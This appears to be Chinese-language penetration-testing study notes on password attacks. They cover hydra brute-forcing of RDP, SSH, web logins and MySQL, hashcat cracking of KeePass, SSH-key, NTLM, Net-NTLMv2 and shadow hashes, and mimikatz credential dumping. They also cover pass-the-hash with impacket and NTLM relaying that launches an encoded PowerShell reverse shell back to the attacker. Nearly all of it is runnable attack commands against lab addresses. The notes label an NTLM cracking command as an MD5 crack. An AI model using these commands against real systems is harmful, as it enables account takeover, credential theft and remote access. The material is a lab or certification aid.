hydra爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| hydra -L /usr/share/wordlists/dirb/others/names.txt -p "1234" rdp://192.168.50.202 hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201 # 爆破POST登录框 # ^后面跟变量,:后面跟报错信息 hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
# 爆破http的登录,base64编码的认证,最后的/是指登录框的url hydra -l admin -P rockyou.txt -s 80 -f 192.168.211.201 http-get /
# 爆破MySQL hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.220.118 mysql
# hydra 爆破登录框,POST请求爆破,F=后面是页面登录失败返回的错误信息,需要手动改 hydra -L mail.txt -P ~/Desktop/rockyou.txt 10.0.2.47 -s 8000 http-post-form "/api.php?/sessions:email=^USER^&password=^PASS^:F=Incorrect. Try again or reset your password." -V -F -u
# hydra 爆破ssh,参数的大小写是有区别的 hydra -L 用户名文件 -p 指定密码 -f $IP ssh hydra -l 指定用户名 -p 指定密码 -f $IP ssh hydra -l 指定用户名 -P 指定密码文件 -f $IP ssh
|
破解kdbx数据文件
1 2 3 4 5
| keepass2john Database.kdbx > keepass.hash cat keepass.hash 删掉前面的database: hashcat -m 13400 keepass.hash /home/yu1e/Desktop/offsecExcercise/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force 然后拿破解出来的密码打开.kdbx文件
|
破解ssh口令
有时候拿到了id_rsa不能直接用来登录,需要先破解
1 2 3 4 5 6
| ssh2john id_rsa > ssh.hash # 搜索加密方式 hashcat -h | grep -i "ssh" hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force # 如果破解成功 ssh -i id_rsa -p 2222 dave@192.168.50.201
|
破解NTLM哈希
1 2 3 4 5 6 7 8
| # 系统权限启动 .\mimikatz.exe privilege::debug token::elevate lsadump::sam 将hash放到kali上命名未nelly.hash cat nelly.hash hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
|
传递NTML哈希
如果hash破解不了
1 2 3 4 5 6 7 8 9 10 11
| # 被控机器上执行 privilege::debug token::elevate lsadump::sam
#kali执行 使用hash去登录smb服务 smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b # kali执行用hash直接登录 impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212 impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
|
破解Net-NTLMv2
如果拿到的被控主机权限没有权限执行mimikatz,可以在在几乎所有的 Windows 网络和环境中发现 Net-NTLMv2
Responder工具非常适合此目的。它包括一个内置的 SMB 服务器,可为我们处理身份验证过程并打印所有捕获的 Net-NTLMv2 哈希
1 2 3 4 5 6 7 8 9
| # kali执行,tap0是网卡名称 sudo responder -I tap0 # 被控机器执行,这里的IP是kali的IP dir \\192.168.119.2\test # 然后kali会拿到一串hash,NTLMv2-SSP Hash # kali执行 cat paul.hash hashcat --help | grep -i "ntlm" hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
|
中继Net-NTMLv2
假设我们获得了 Net-NTLMv2 哈希,但由于它太复杂而无法破解它,这里不会仅仅打印身份验证步骤中使用的 Net-NTLMv2 哈希,而是将其转发到目标机器
还是使用dir命令来创建与 Kali 机器的 SMB 连接
1 2 3 4 5
| # Kali执行,这里的shell是反弹shell impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..." nc -nvlp 8080 # 被控机器执行,这里的IP是Kali的IP dir \\192.168.119.2\test
|
破解md5
1
| hashcat -m 1000 -a 3 --force fdf36048c1cf88f5630381c5e38feb8e rockyou.txt
|
使用hashcat破解shadow文件
Linux
在 Linux 系统中,/etc/shadow
是一个存储着用户加密密码和其他相关信息的文件。而 $y$
则是指密码的加密算法类型,也就是哈希函数的标识符。
在 /etc/shadow
文件中,每个用户的密码都是用一个特定的哈希函数加密的。为了避免密码被轻易破解,Linux 系统会使用不同的哈希函数来加密密码。而 $y$
中的 y
字符则表示使用的是哪种哈希函数,不同的哈希函数对应不同的字符。
以下是一些常见的 $y$
值及其对应的哈希函数:
$1$
表示使用的是 MD5 哈希函数;
$2$
或 $2a$
表示使用的是 Blowfish 哈希函数;
$5$
表示使用的是 SHA-256 哈希函数;
$6$
表示使用的是 SHA-512 哈希函数。
1 2 3
| root:$6$t3lLj7DjLuEnQHCy$w.xIeZPxn61ew.17w09qMXkg.E4aXOM7IMjHJ7PRRiH7XSMaCdHI1Hc0pLyMqRZcafSZtz.UEOb3nmYxyFxKm.:18443:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
|
其他字段都较好理解,其中加密密码和最后一次修改时间需要解释一下:
加密密码中如果第一个字符为!或者*的话,说明这是一个不能登录的账户,其他情况格式为$id$salt$encrypted
根据id可以判断加密方式,第二个$到第三个$之间的字段为salt,第三个$之后的字段为密码hash。
了解了linux系统密码保存的情况,就可以提取出来使用hashcat破解,我们需要提取第二个冒号到第三个冒号之间的字段保存到一个文件root.txt中
1 2
| $6$t3lLj7DjLuEnQHCy$w.xIeZPxn61ew.17w09qMXkg.E4aXOM7IMjHJ7PRRiH7XSMaCdHI1Hc0pLyMqRZcafSZtz.UEOb3nmYxyFxKm. hashcat -m 1800 -a 0 -o result.txt root.txt top100.txt --force
|
Windows
掩码破解windows用户密码,查看windows hash的工具非常多,为了省事我直接使用前面文章介绍过的工具LaZagne 就不重复介绍新工具了 http://uuzdaisuki.com/2019/12/07/%E4%B8%A4%E6%AC%BE%E5%AF%86%E7%A0%81%E6%8F%90%E5%8F%96%E5%B7%A5%E5%85%B7%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8/
提取到windows hash如下
1 2 3 4
| test:1005:aad3b435b51404eeaad3b435b51404ee:f9e37e83b83c47a93c2f09f66408631b:::
用户名称:RID:LM-HASH值:NT-HASH值 Copy
|
我们需要提取后方的NT-HASH用来破解,即f9e37e83b83c47a93c2f09f66408631b存入test.txt,由于我设置的是三位字母三位数字的密码,使用如下掩码进行爆破
1
| hashcat -m 1000 -a 3 -o result4.txt test.txt ?l?l?l?d?d?d --force
|